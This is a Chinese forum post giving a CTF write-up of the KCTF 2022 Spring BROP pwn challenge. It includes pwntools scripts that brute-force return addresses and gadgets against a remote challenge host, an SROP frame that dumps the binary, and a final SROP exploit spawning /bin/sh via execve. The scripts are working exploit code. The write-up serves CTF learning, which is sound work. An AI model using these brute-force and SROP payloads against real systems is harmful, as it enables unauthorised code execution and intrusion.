首页
社区
课程
招聘
[原创]【KCTF-pwn】2022 春第六题 BROP
2023-6-8 00:25 7575

[原创]【KCTF-pwn】2022 春第六题 BROP

2023-6-8 00:25
7575

KCTF2022 春第六题 BROP


目录

目录


信息收集

爆破低字节,函数基址

nc远程连接程序,接收到hacker, TNT!\n后等待用户输入,输入A*16后获得回馈TNT TNT!\n,输入A*17后连接断开,推测程序如下:

1
2
3
4
5
6
7
8
9
10
11
void myRead(){
    char buf[8] = {0};
    read(0,buf,0x1000);
    return;
}
int main(){
    puts("hacker, TNT!");
    myRead()
    puts("TNT TNT!");
    return 0;
}

尝试爆破返回地址低字节,最终获得回馈如下

1
2
3
4
5
6
7
8
9
10
『NORMAL HEAD』================>『0XB0』   
『STOP』================>『0XB5』        
『STOP』================>『0XB6』        
『STOP』================>『0XC9』          
『STOP』================>『0XED
『STOP』================>『0XEE』       
『STOP』================>『0XEF
『STOP』================>『0XF2
『STOP』================>『0XF3
『STOP』================>『0XD8

再次尝试爆破基址得出base=0X400000,并且多次连接不会改变,推断程序没有开启PIE;构造rop尝试返回地址仅出现3种情况

  • 程序进入等待(推测等待用户输入),输入后crash
  • crash
  • 正常流程执行,既返回到main或原定返回地址中

获取gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def testRetRop(base):
    for i in range(base,base+0x1000):
        p,pb,libc = init(r="123.59.196.133:10012",log="info",lg=1)
        p.sendlineafter("hacker, TNT!\n",b"A"*0x10+p64(i)+p64(mainAddr))
        try:
            r = p.recvuntil("hacker, TNT!\n",timeout=0.1)
            if(r == b""):
                p.close()
                continue
            else:
                vLog("RET",i)
            p.close()
            continue
        except:
            p.close()
            continue
 
def testPopRop(base,c):
    for i in range(base,base+0x1000):
        p,pb,libc = init(r="123.59.196.133:10012",log="info",lg=1)
        p.sendlineafter("hacker, TNT!\n",b"A"*0x10+p64(i)+p64(0)*c+p64(mainAddr))
        try:
            r = p.recvuntil("hacker, TNT!\n",timeout=0.1)
            if(r == b""):
                p.close()
                continue
            else:
                vLog("POP {}".format(c),i)
            p.close()
            continue
        except:
            p.close()
            continue

最后得到如下结果

1
2
3
4
5
6
7
8
9
『RET』================>『0X400101
『RET』================>『0X400106
『POP 2================>『0X4000F5
『POP 2================>『0X4000FA
『POP 2================>『0X4000FB
『POP 2================>『0X4000FD
『POP 2================>『0X4000FE
『POP 2================>『0X400100
『POP 2================>『0X400102

归纳&测试

经测试地址及指令如下

1
2
3
4
『NORMAL HEAD』================>『0X4000B0』    main函数地址
『STOP』================>『0X4000C7』           syscall
『STOP』================>『0X4000C9』           call func
『STOP』================>『0X4000EE』           read ret

攻击测试 SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
###已知地址
mainAddr = 0X4000B0
readRet = 0X4000EE
sysCall = 0X4000c7
base = 0x400000
 
p,pb,libc = init(r="123.59.196.133:10053",log="debug",lg=0)
 
frame = SigreturnFrame()
frame.rip = sysCall
frame.rax = 1
frame.rdi = 1
frame.rsi = base
frame.rdx = 0x1000
frame.rsp = base
frame.rbp = base
 
p.sendlineafter("hacker, TNT!\n",b"A"*0x10+p64(readRet)+p64(sysCall)+bytes(frame))
 
sleep(0.1)
p.send(b"A"*15)
r = p.recv(0x578)
f = open("./pwn","wb")
f.write(r)
f.flush()
 
p.interactive()

最终成功泄露出程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
4000B0 mov     eax, 1
4000B5 mov     rdi, rax                        ; fd
4000B8 mov     rsi, offset hello               ; buf
4000C2 mov     edx, 0Dh                        ; count
4000C7 syscall                                 ; LINUX - sys_write
4000C9 call    TNT66666
4000C9
4000CE mov     eax, 1
4000D3 mov     rdi, rax                        ; error_code
4000D6 mov     rsi, offset byebye              ; "TNT TNT!\n"
4000E0 mov     edx, 9                          ; count
4000E5 syscall                                 ; LINUX - sys_write
4000E7 mov     eax, 3Ch ; '<'
4000EC syscall                                 ; LINUX - sys_exit
4000EC
4000EC _start endp
4000EC
4000EE
4000EE ; =============== S U B R O U T I N E =======================================
4000EE
4000EE
4000EE TNT66666 proc near                      ; CODE XREF: _start+19↑p
4000EE sub     rsp, 10h
4000F2 xor     rax, rax
4000F5 mov     edx, 400h                       ; count
4000FA mov     rsi, rsp                        ; buf
4000FD mov     rdi, rax                        ; fd
400100 syscall                                 ; LINUX - sys_read
400102 add     rsp, 10h
400106 retn
400106
400106 TNT66666 endp

写出拖进IDA分析后可知.data段是可写的,始于0x600108

GetShell

经过泄露的程序进行分析之后更正sysgadget避免导致栈操作异常

 

0x4000C7 => 0X400100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def pwn():
    bss = 0x600108
    readRet = 0X4000EE
    sysCall = 0X400100
    p,pb,libc = init(r="123.59.196.133:10018",log="debug",lg=0)
    #p,pb,libc = init(p="./tnt",log="debug",dbg=1)
 
    frame = SigreturnFrame()
    frame.rip = sysCall
    frame.rax = 0
    frame.rdi = 0
    frame.rsi = bss
    frame.rdx = 0x400
    frame.rsp = bss
    frame.rbp = bss # read(0,0x600108,0x400) ret 0x600108
    dLog("frame")
    sleep(0.1)
    p.sendafter("hacker, TNT!\n",p64(0xdeadbeef)*2+p64(readRet)+p64(sysCall)+bytes(frame))
 
 
    dLog("0xF 1")
    sleep(0.1)
    p.send(b"A"*15)
 
    sysFrame = SigreturnFrame()
    sysFrame.rip = sysCall
    sysFrame.rax = 59
    sysFrame.rdi = bss
    sysFrame.rsi = 0
    sysFrame.rdx = 0# system(0x600108,0,0)
    dLog("sysframe")
    sleep(0.1)
    p.send(b"/bin/sh\x00"+p64(0xdeadbeef)+p64(readRet)+p64(sysCall)+bytes(sysFrame))
 
    dLog("0xF 2")
    sleep(0.1)
    p.send(b"A"*15)
 
    p.interactive()

总结

因为SROP的题做的少,并且也是第一次做BROP,所以还是踩了非常多的坑

1. 喜欢猜

首先就是投入了过多的事件去猜测而非测试,在循环测试popgadget的时候总是纠结于去根据其指令长度去猜测具体指令

2.泄露了程序结果还在用不确定的gadget

有明确的地址和指令不看结果还在用遍历出来的不确定的gadget,导致做了很多未知的操作而影响exploit

详细踩坑经过

先看两段payload

1
2
3
4
5
bss = 0x600108
readRet = 0X4000EE
sysCall = 0X400100
payloadA = p64(0xdeadbeef)*2  + p64(readRet)    + p64(sysCall) + bytes(frame)
payloadB = b"/bin/sh\x00"     + p64(0xdeadbeef) + p64(readRet) + p64(sysCall) + bytes(sysFrame)

payloadA

首先两段死牛肉是padding,readRet也无异常,不破坏栈平衡,从sysCall开始导致我踩坑,看汇编

1
2
3
400100 0F 05                         syscall                                 ; LINUX - sys_read
400102 48 83 C4 10                   add     rsp, 10h
400106 C3                            retn

是的,在系统调用完还有一个add rsp,10h的操作呢

 

而由SROPA->read(0,0x600108,0x400)可知当SropA执行完后实际上我的rsp需要越过sh字符串进而指向readRet,于是我在忽视了上述栈平衡操作的情况下进行了如下的srop布置

1
2
frame.rsi = bss
frame.rsp = bss+8

但是由于add rsp, 10h的存在,导致srop默认既为

1
frame.rsp = bss+0x10

所以我非但不能给rsp+8,我还得在payloadB->sh后面填上一坨死牛肉,才不会影响程序流程

payloadB

这里没啥问题的,迎合add rsp, 10h再加个死牛肉就好了


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-6-8 00:27 被LeaMov编辑 ,原因: 标题
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回